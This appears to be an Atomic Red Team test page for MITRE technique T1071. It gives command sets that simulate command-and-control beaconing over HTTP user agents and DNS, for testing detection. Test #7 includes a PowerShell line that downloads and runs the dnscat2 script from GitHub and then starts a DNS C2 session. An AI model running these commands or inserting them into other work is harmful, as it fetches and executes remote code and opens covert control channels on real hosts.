Skip to content

Latest commit

 

History

History
267 lines (140 loc) · 8.51 KB

T1071.md

File metadata and controls

267 lines (140 loc) · 8.51 KB

T1071 - Standard Application Layer Protocol

Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.

Atomic Tests


Atomic Test #1 - Malicious User Agents - Powershell

This test simulates an infected host beaconing to command and control. Upon execution, no output will be displayed. Use an application such as Wireshark to record the session and observe user agent strings and responses.

Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
domain Default domain to simulate against string www.google.com

Attack Commands: Run with powershell!

Invoke-WebRequest #{domain} -UserAgent "HttpBrowser/1.0" | out-null
Invoke-WebRequest #{domain} -UserAgent "Wget/1.9+cvs-stable (Red Hat modified)" | out-null
Invoke-WebRequest #{domain} -UserAgent "Opera/8.81 (Windows NT 6.0; U; en)" | out-null
Invoke-WebRequest #{domain} -UserAgent "*<|>*" | out-null


Atomic Test #2 - Malicious User Agents - CMD

This test simulates an infected host beaconing to command and control. Upon execution, no out put will be displayed. Use an application such as Wireshark to record the session and observe user agent strings and responses.

Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
domain Default domain to simulate against string www.google.com

Attack Commands: Run with command_prompt!

curl -s -A "HttpBrowser/1.0" -m3 #{domain} >nul 2>&1
curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain} >nul 2>&1
curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain} >nul 2>&1
curl -s -A "*<|>*" -m3 #{domain} >nul 2>&1


Atomic Test #3 - Malicious User Agents - Nix

This test simulates an infected host beaconing to command and control. Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat

Supported Platforms: Linux, macOS

Inputs:

Name Description Type Default Value
domain Default domain to simulate against string www.google.com

Attack Commands: Run with sh!

curl -s -A "HttpBrowser/1.0" -m3 #{domain}
curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain}
curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain}
curl -s -A "*<|>*" -m3 #{domain}


Atomic Test #4 - DNS Large Query Volume

This test simulates an infected host sending a large volume of DNS queries to a command and control server. The intent of this test is to trigger threshold based detection on the number of DNS queries either from a single source system or to a single targe domain. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
domain Default domain to simulate against string 127.0.0.1.xip.io
subdomain Subdomain prepended to the domain name string atomicredteam
query_type DNS query type string TXT
query_volume Number of DNS queries to send integer 1000

Attack Commands: Run with powershell!

for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type "#{query_type}" "#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}" -QuickTimeout}


Atomic Test #5 - DNS Regular Beaconing

This test simulates an infected host beaconing via DNS queries to a command and control server at regular intervals over time. This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
domain Default domain to simulate against string 127.0.0.1.xip.io
subdomain Subdomain prepended to the domain name string atomicredteam
query_type DNS query type string TXT
c2_interval Seconds between C2 requests to the command and control server integer 30
c2_jitter Percentage of jitter to add to the C2 interval to create variance in the times between C2 requests integer 20
runtime Time in minutes to run the simulation integer 30

Attack Commands: Run with powershell!

Set-Location PathToAtomicsFolder
.\T1071\src\T1071-dns-beacon.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}


Atomic Test #6 - DNS Long Domain Query

This test simulates an infected host returning data to a command and control server using long domain names. The simulation involves sending DNS queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DNS queries for long domain names over a set threshold. Upon execution, DNS information about the domain will be displayed for each callout.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
domain Default domain to simulate against string 127.0.0.1.xip.io
subdomain Subdomain prepended to the domain name (should be 63 characters to test maximum length) string atomicredteamatomicredteamatomicredteamatomicredteamatomicredte
query_type DNS query type string TXT

Attack Commands: Run with powershell!

Set-Location PathToAtomicsFolder
.\T1071\src\T1071-dns-domain-length.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}


Atomic Test #7 - DNS C2

This will attempt to start a C2 session using the DNS protocol. You will need to have a listener set up and create DNS records prior to executing this command. The following blogs have more information.

https://github.com/iagox86/dnscat2

https://github.com/lukebaggett/dnscat2-powershell

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
domain Domain Name configured to use DNS Server where your C2 listener is running string example.com
server_ip IP address of DNS server where your C2 listener is running string 127.0.0.1

Attack Commands: Run with powershell!

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.ps1')
Start-Dnscat2 -Domain #{domain} -DNSServer #{server_ip}